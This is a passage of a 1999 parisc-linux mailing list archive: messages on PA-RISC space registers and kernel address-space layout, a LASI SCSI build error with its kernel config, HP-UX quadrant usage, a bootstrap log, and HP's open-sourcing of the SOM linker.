        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Thu Nov 18 21:09:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA28770
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 21:09:48 -0700
Original-Received: (qmail 23575 invoked by uid 15267); 19 Nov 1999 04:11:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23568 invoked from network); 19 Nov 1999 04:11:22 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 19 Nov 1999 04:11:22 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Fri, 19 Nov 1999 05:11:18 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id FAA01023;
	Fri, 19 Nov 1999 05:13:38 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911182037.PAA02238@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6461

> > This is what I undesrtand now too, at first I though it was flat 4Gb shared
> > between the OS and the processes (ala 2Gb each), then space flip enter in
> > action with flat 4Gb per threads (pardon proceses for now), and then a flat
> > 4Gb for the kernel itself.

> The architecture that I proposed was suggested by figure 3-1 of the
> Precision Architecture and Instruction Set Manual (1989).  On a level 1
> machine there 2**16-1 virtual 4GB spaces.  Thus, each process can
> have its own virtual space.  The physical page directory contains
> the mapping for the kernel and all processes.  The algorithm for
> updating the TLB(s) from the page directory is very important for
> efficiency and also for security.

I agree with the description.

> I assume threads will run in a processes virtual space for efficiency.

Is there any reason we shouldn't do it ?  It's just not a per-pid unique id we
put into the space registers, it's a per-process(Unix sense) one.

> > I don't really see the implementation of a previous mail of someone saying the
> > user VAS quad usage would be TEXT/DATA/SHARED1/SHARE2 if all the SR's are the
> > same, I still have some ProtID problem I don't see how efficiently sharing is
> > implemented (TEXT/SHARED1/SHARED2). I bet this is adressed, I just don't have
> > the design document.
> 
> This was me again.  The TEXT/DATA/SHARED1/SHARE2 architecture is described
> in the 32-bit PA-RISC Runtime Architecture Document.  It is how hpux 10.20
> does it.  Take a look at Table 1, "Space Register Usage".  However, it doesn't
> really tell you anything about the OS implementation details.  I do know
> that hpux uses different spaces for text and data.  As a result, branches
> that cross quadrants must be interspace branches.  The space of the caller
> must be saved and restored on return.  If the same space id is used in SR4-SR7
> for any given process, then I don't think it would be necessary to save
> and restore the instruction space register across calls except for system
> calls where the virtual space changes.

Using the same value in SR0, SR4-SR7 sounds like it will be the least
surprising.  Throwing away the whole fourth quadrant when you only need two
pages out of it doesn't sound like an especially good idea (though it might be
more efficient in very limited circumstances).

> The one advantage to reserving the fourth quadrant for the OS is that in
> a system call the OS has direct access to the first three quadrants
> of the processes address space as well as its own space.

It still has (though I think this might be what you meant by "direct").  Load
SR3 with the content of SR[04567].  Explicitly use SR3 for all references to
user data.

> SR0 to SR4 can be changed by a non-privileged process.  Thus, access
> identities have to be setup properly to prevent a process from flipping
> through the virtual address space and doing bad stuff.

This is an important point as soon as we have to consider system security in
more detail.

> The OS must also be prepared for a process that messes with SR4.  A nasty
> process might be able change the space id in SR4 to that of another process
> or the kernel, and do a system call that writes to this region.

> For PA_RISC 2.0, the architecture is changed for 64-bit operation.  I quote
> 
> 	"The OS will use a different address space layout for 64-bit processes,
> 	so we will not be able to specify that main program text is at the
> 	low end of Quadrant 0, nor will we be able to use absolute addressing
> 	at all.  This will affect millicode calls, long calls, plabel
> 	materialization, and non-PIC literal references.
> 
> 	Compilers must avoid any explicit reference to space registers, so
> 	there is no need to specify any association between particular
> 	segments and quadrants of the address space."
> 
> Further, the 64-bit architecture defines a single PIC compilation model.
> I have to say that the 64-bit document as of Version 3.3 (1997) is vague.

The PA1.1 is vague/redundant as well (or at least I'll assume it is until someone
points out my mistake).

> Probably, we should ignore the 64 bit issues and use an architecture
> that is good for 32 bit level 1 machines and above.

Basically, the question with PA2.0 is "how do we access user memory out of kernel
space".  OTOH, as PA2.0 virtual address offsets are 62 bits only, this shouldn't
be a problem (are they really 62 bits btw ?).

> > ------------------------------------------
> > Some may say, linux is not doc, it is hack n run, but on the long run I'm
> > affraid that hack n run will type more text (try and fail code) than writing
> > the design options. For instance the ASL document for HP-UX wide is 22 pages
> > total, with TOC and figures, and pseudo-code algorithm.
> > Remember Djikstra (well the old timer may, the bambinos may take Kurt Cobain
> > as an example :-) "You should pay the programmers a very good salary, don't
> > hesitate to bump their salary, BUT make them pay any puch in their punched
> > card" The idea behind, think before code after, Kurt tried it the other way,
> > he choose to shoot first and think after oops :-)

> Agree totally.

Who is Kurt and why do we have to go around on parisc-linux and insult him ?

> In summary, I think that each process slot should be assigned a unique
> space id.

I agree, and have said so before (Date: Wed, 17 Nov 1999 14:00:19 +0100).

> At least initially, the same id would be used for SR4-SR7 in
> each process.

I don't see the need to ever change this _for PA1.1_.

For PA2.0 (wide), our largest flat address space is 62 bits and using the two
bits to select space registers is a good idea.

> Link the OS at 0xc0000000 and go with a 3GB process/1GB OS
> virtual address model.

We don't want that.

We might want to link the OS at 0x8000 0000 and go with a 4GB process / 2GB OS
model.

We might want to link the OS at 0x0000 0000 and go with a 4GB process / 4GB OS
model.

> All the physical memory in the machine can therefore be used, up to the ~ 4GB
> limit in the PA 1.X architecture.  I think this model is compatible with the
> PA 1.1 architecture and hopefully also the x86 architecture.

Why does it have to be compatible with the x86 architecture ?

	Philipp Rumpf


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] `PROC_SCSI_LASI7XX' undeclared here
Date: Thu, 18 Nov 1999 21:32:58 -0800 (PST)
Lines: 235
Approved: news@gmane.org
Message-ID: <199911190532.VAA01055@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618653 28455 80.91.229.3 (22 Nov 2014 01:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Nov 18 22:29:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA29408
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Nov 1999 22:29:38 -0700
Original-Received: (qmail 12201 invoked by uid 15267); 19 Nov 1999 05:31:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12194 invoked from network); 19 Nov 1999 05:31:12 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 19 Nov 1999 05:31:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id EDF865F7
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Nov 1999 21:31:11 -0800 (PST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id VAA01055 for parisc-linux@thepuffingroup.com; Thu, 18 Nov 1999 21:32:58 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6462

Hi all,
I tried to rebuild after doing "cvs -z9 update -d" (ggg nods to _A_)
and got the following output:
(and yes I ran make oldconfig/dep/Image sequence)

...
gcc -D__KERNEL__ -I/linux/linux/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -mdisable-fpregs -fwritable-strings  -fno-strict-aliasing -pipe -fno-strength-reduce   -c -o lasi7xx.o lasi7xx.c
lasi7xx.c:38: `PROC_SCSI_LASI7XX' undeclared here (not in a function)
lasi7xx.c:38: initializer element for `proc_scsi_lasi7xx.low_ino' is not constant
lasi7xx.c:48: warning: type defaults to `int' in declaration of `ncr53c7xx_init'
make[3]: *** [lasi7xx.o] Error 1
...

If I recall correctly, a shared enum table had "PROC_SCSI_LASI7XX"
added to it.  I think it was a /proc header file.

Normally I'd fix this myself (and probably will) but don't have time.
If some else does, that would be great. Otherwise, I'll get to it on
the weekend.

I've appended my "linux/.config" file.

grant

#
# Automatically generated make config: don't edit
#

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# CPU type
#
# CONFIG_PA7100 is not set
CONFIG_PA7300=y
CONFIG_PA_1x=y
CONFIG_PA_11=y
# CONFIG_SMP is not set
CONFIG_GSC=y
CONFIG_GSC_DINO=y
CONFIG_GSC_LASI=y
# CONFIG_HIL is not set
CONFIG_PCI=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_ELF is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_IDE is not set

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_HD_ONLY is not set

#
# Additional Block Devices
#
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_INITRD=y
# CONFIG_BLK_DEV_XD is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_PARIDE_PARPORT=m
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_DEV_HD is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_FIREWALL is not set
# CONFIG_FILTER is not set
# CONFIG_UNIX is not set
# CONFIG_INET is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_BRIDGE is not set
# CONFIG_LLC is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set
# CONFIG_CPU_IS_SLOW is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CDrom)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set

#
# SCSI low-level drivers
#
CONFIG_LASI_SCSI=y

#
# Network device support
#
CONFIG_NETDEVICES=y
CONFIG_APRICOT=y
CONFIG_DEC_ELCP=y

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
# CONFIG_GSC_PS2 is not set
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
# CONFIG_PRINTER is not set
# CONFIG_MOUSE is not set
# CONFIG_QIC02_TAPE is not set
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set

#
# Video For Linux
#
# CONFIG_VIDEO_DEV is not set

#
# Joystick support
#
# CONFIG_JOYSTICK is not set
# CONFIG_DTLK is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set

#
# Filesystems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_ISO9660_FS is not set
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_EFS_FS is not set

#
# Network File Systems
#

#
# Partition Types
#
# CONFIG_BSD_DISKLABEL is not set
# CONFIG_MAC_PARTITION is not set
# CONFIG_SMD_DISKLABEL is not set
# CONFIG_SOLARIS_X86_PARTITION is not set
# CONFIG_UNIXWARE_DISKLABEL is not set
# CONFIG_NLS is not set

#
# Console drivers
#
# CONFIG_IODC_CONSOLE is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y


From - Thu Nov 08 21:11:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Fri, 19 Nov 1999 10:08:13 +0100
Organization: WTEC
Lines: 192
Approved: news@gmane.org
Message-ID: <3835137D.4904B531@hpfrcu03.france.hp.com>
References: <199911182037.PAA02238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618653 28460 80.91.229.3 (22 Nov 2014 01:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:53 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: phi@hpfrcu03.france.hp.com  Fri Nov 19 02:04:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA30068
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Nov 1999 02:04:14 -0700
Original-Received: (qmail 24986 invoked by uid 15267); 19 Nov 1999 09:05:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24970 invoked from network); 19 Nov 1999 09:05:46 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Nov 1999 09:05:46 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id EAA11715;
	Fri, 19 Nov 1999 04:04:47 -0500 (EST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id KAA01856; Fri, 19 Nov 1999 10:08:14 +0100 (MET)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6463

Nice answer at least it clarify some design options

John David Anglin wrote:
> 
> The architecture that I proposed was suggested by figure 3-1 of the
> Precision Architecture and Instruction Set Manual (1989).  On a level 1
> machine there 2**16-1 virtual 4GB spaces.  Thus, each process can
> have its own virtual space.  The physical page directory contains
> the mapping for the kernel and all processes.  The algorithm for
> updating the TLB(s) from the page directory is very important for
> efficiency and also for security.
> 
> I assume threads will run in a processes virtual space for efficiency.

IMHO efficiency is a side effect, by definition user threads are part of a
process, i.e sharing the process VAS, so your assumption is more than valid.


> 
> 
> This was me again.  The TEXT/DATA/SHARED1/SHARE2 architecture is described
> in the 32-bit PA-RISC Runtime Architecture Document.  It is how hpux 10.20
> does it.  Take a look at Table 1, "Space Register Usage".  However, it doesn't
> really tell you anything about the OS implementation details.  I do know
> that hpux uses different spaces for text and data.

Not always, hpux have a lot of chatr(1) tricks to manage the quadran usage
(again don't beat me, this is a consequence of segmented architecture). So for
a regular (non-sharable text) the magic number is EXEC_MAGIC and for those
kind of executable, the quad1 and quad2 (i.e the index from the 2 high bit of
32 bit addr is 0,1) are the same, this allow the DATA/BSS to be stuffed righ
after the TEXT and then having alinear 2GB (whoa) linear space, yet leaving
the quad3 and quad4 for sharable data (shm and mmap).

On the other hand a shared executable (SHARE_MAGIC) does have quad1 (for TEXT)
that is shared among several process, then having its own uniq space since
shared, all the process using this area share it with the same space AND same
offset (more comment below). The quad2 is process private DATA, then indeed
each SHARE_MAGIC process does have its own private space (different space id).
 

>  As a result, branches
> that cross quadrants must be interspace branches.  The space of the caller
> must be saved and restored on return.  If the same space id is used in SR4-SR7
> for any given process, then I don't think it would be necessary to save
> and restore the instruction space register across calls except for system
> calls where the virtual space changes.

In my EXEC_MAGIC does have a common spaceid for quad1 and quad2 and as in your
example, where you generalize with all four quad equal, that's true that there
is no SR jazz to do for calls.

This bring me to another question, how sharing is done with linux on hppa 

Are you planing of using 'limited' aliasing?

I don't see for now how sharing and copy-on-write could be accomplished, if
thoug those concept are high level concern, they are driven by the
architecture capability and virtual addr alias is one of the weak area of hppa
IMHO.

> 
> The one advantage to reserving the fourth quadrant for the OS is that in
> a system call the OS has direct access to the first three quadrants
> of the processes address space as well as its own space.  

This is an interesting point, does the OS must share a lot with a process?
Personally I think the set of threads UAREA look enough to me I don't see the
point of having the OS being capable of r/w on the 3Gb of the process.

However thing that doesn't exist on unix and I think would be nice to have is
a shared area between the process and the kernel, where the process (and its
threads) can readonly, and where the kernel can r/w, the idea is to stick
there some credentials, even stuff that is usually in the proc.h kthread.h lik
pid, tid, lastrun, various time etc, this to allow a process/thread to get
this data as pointer deref, I know I needed this of process tracing, the
tracing lib would get the CR16, and manage the pa1.1 roll-over by watching a
change in the elapsed time inthe uarea, since the CR16 roll-over in multi
seconds, while the OS does an update on each schedule that is sure to happen
at least every 10ms.
To day the UAREA is part of the user VAS but is not readable and off course
not writable, I think that a sharable part would be helpfull...

So I'm still curious about sharing on linux + hppa.
If someone does have infos on this...


Phi

--
mailto:phi@hpfrcu81.france.hp.com
WTEC Project. Kernel debugging tools

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:50:54 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03574
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:50:54 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:50:54 PST
Received: from smtp01.primenet.com (daemon@smtp01.primenet.com [206.165.6.131])
	by primenet.com (8.8.8/8.8.5) with ESMTP id SAA26530
	for <pcj@smtp-local.primenet.com>; Tue, 9 Mar 1999 18:13:32 -0700 (MST)
Received: (from daemon@localhost)
	by smtp01.primenet.com (8.8.8/8.8.8) id SAA28864
	for <pcj@primenet.com>; Tue, 9 Mar 1999 18:14:37 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp01.primenet.com, id smtpd028810; Tue Mar  9 18:14:28 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id TAA20586;
	Tue, 9 Mar 1999 19:42:59 -0500
Resent-Date: Tue, 9 Mar 1999 19:42:59 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Tue, 9 Mar 1999 16:50:37 -0800 (PST)
From: Kevin Vajk <kvajk@cup.hp.com>
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap take 3
Message-ID: <Pine.LNX.4.04.9903091646350.1412-100000@uxho0334.cup.hp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-ID: <"sROw23.0.V15.I0Svs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/154
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: e3908208a709cba9bbb9f6904b7a6e5f
Status: RO
Lines: 57
Xref: merlin.pcj.primenet.com palinux:125


It works for me on an 816/E35.

- Kevin Vajk
  <kvajk@ricochet.net>



Main Menu: Enter command or menu > boot 56/40.6
Interact with IPL (Y or N)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 4


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.1 (interactive)
By Jason Eckhardt
Built Tue Mar 9 16:40:43 CST 1999 by jason@bimbo

Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0x0001B000.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot.


It is now safe to reboot.


It is now safe to reboot.


It is now safe to reboot.


It is now safe to reboot.


It is now safe to reboot.
/



-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP open sourcing the SOM linker
Date: Fri, 19 Nov 1999 18:06:48 -0500
Organization: The Puffin Group
Lines: 38
Approved: news@gmane.org
Message-ID: <3835D808.18274C86@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618653 28464 80.91.229.3 (22 Nov 2014 01:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Nov 19 16:03:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA27262
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Nov 1999 16:03:55 -0700
Original-Received: (qmail 29340 invoked by uid 15267); 19 Nov 1999 23:05:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29326 invoked from network); 19 Nov 1999 23:05:32 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 19 Nov 1999 23:05:32 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA02749
	for <parisc-linux@thepuffingroup.com>; Fri, 19 Nov 1999 18:06:48 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6464


Hewlett-Packard, in co-operation with the Puffin Group, is open sourcing
their SOM linker product.  This release is an important step in the
project to port Linux to the PA-RISC architecture, as it will eventually
allow developers to more easily test their work.

32-bit versions of the HP/UX operating system use a proprietary SOM
(Spectrum Object Model) binary format to load executables, making it a
natural choice as an object format for early PA-RISC/Linux.  Until
now, there was no way to generate a SOM binary except by using HP/UX
tools, which prevented developers from building on any other platform.
Once the port of the linker is complete, developers will be able to
build from a variety of platforms, taking advantage of more computing
power, and reducing the amount of time that it takes to test new code.

Hewlett-Packard, adding to their extensive list of Linux-related
projects, has made the linker available under the GNU General Public
License, making it freely modifiable and redistributable.  However,
though Hewlett-Packard encourages developers to extend and port their
linker, they do not guarantee that community modifications will be
re-integrated into their official product.

Although the linker does not yet produce functional binaries,
developers and curious hackers are invited to browse the source and
commit patches.  HP's official release, as well as future snapshots,
can be obtained via FTP from
ftp://puffin.external.hp.com/pub/parisc/linker, or from the Puffin
Group's CVS server.  More information regarding CVS can be found at
http://www.thepuffingroup.com/parisc/cvs.html.  Questions about the
SOM linker can be directed to linker-info@thepuffingroup.com.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Fri, 19 Nov 1999 16:57:59 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <199911200057.QAA23404@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416618654 28471 80.91.229.3 (22 Nov 2014 01:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:54 +0000 (UTC)
Cc: "Jeff Law" <law@cygnus.com>, <bame@debian.fc.hp.com>,
        <parisc-linux@thepuffingroup.com>
To: "Philipp Rumpf" <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: cary@cup.hp.com  Fri Nov 19 17:56:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA05246
	for <parisc-linux@puffin.external.hp.com>; Fri, 19 Nov 1999 17:56:17 -0700
Original-Received: (qmail 30952 invoked by uid 15267); 20 Nov 1999 00:57:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30938 invoked from network); 20 Nov 1999 00:57:57 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 20 Nov 1999 00:57:57 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA06930;
	Fri, 19 Nov 1999 19:57:00 -0500 (EST)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by adlmail.cup.hp.com with SMTP (8.8.6 (PHNE_17135)/8.7.3 TIS Messaging 5.0) id QAA23404; Fri, 19 Nov 1999 16:57:47 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:6465

Could someone explain to me what the real problem with the _end symbol 
is? I can't seem to extract the essence of the problem from all the mail 
that's flying by.

The SOM linker is supposed to create the symbol "_etext" at the end of 
the last text subspace, the symbol "_edata" at the end of the last 
initialized data subspace, and the symbol "_end" at the end of the last 
data subspace. It shouldn't matter what the name of the subspace is, or 
what its sort key is. Common symbols get allocated at the end of the last 
data subspace, and the "_end" symbol should be at the end of that. If 
something is being allocated by the linker after "_end", I'd like to 
understand why.

You should be able to use "_edata" and "_end" to figure out how much 
memory to initialize to zero at startup, or you could have the boot 
loader do that for you -- the information is in the a.out aux header.

By the way, the SOM linker does support "scripts" of a sort. They're 
called k-files (because you use the -k option to specify them), and they 
allow you to control the placement of your spaces and subspaces within 
the address space.

-cary


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Sat, 20 Nov 1999 13:40:30 -0500 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <199911201840.NAA01911@hiauly1.hia.nrc.ca>
References: <199911200057.QAA23404@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618654 28473 80.91.229.3 (22 Nov 2014 01:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:54 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, law@cygnus.com,
        bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: cary@cup.hp.com (Cary Coutant)
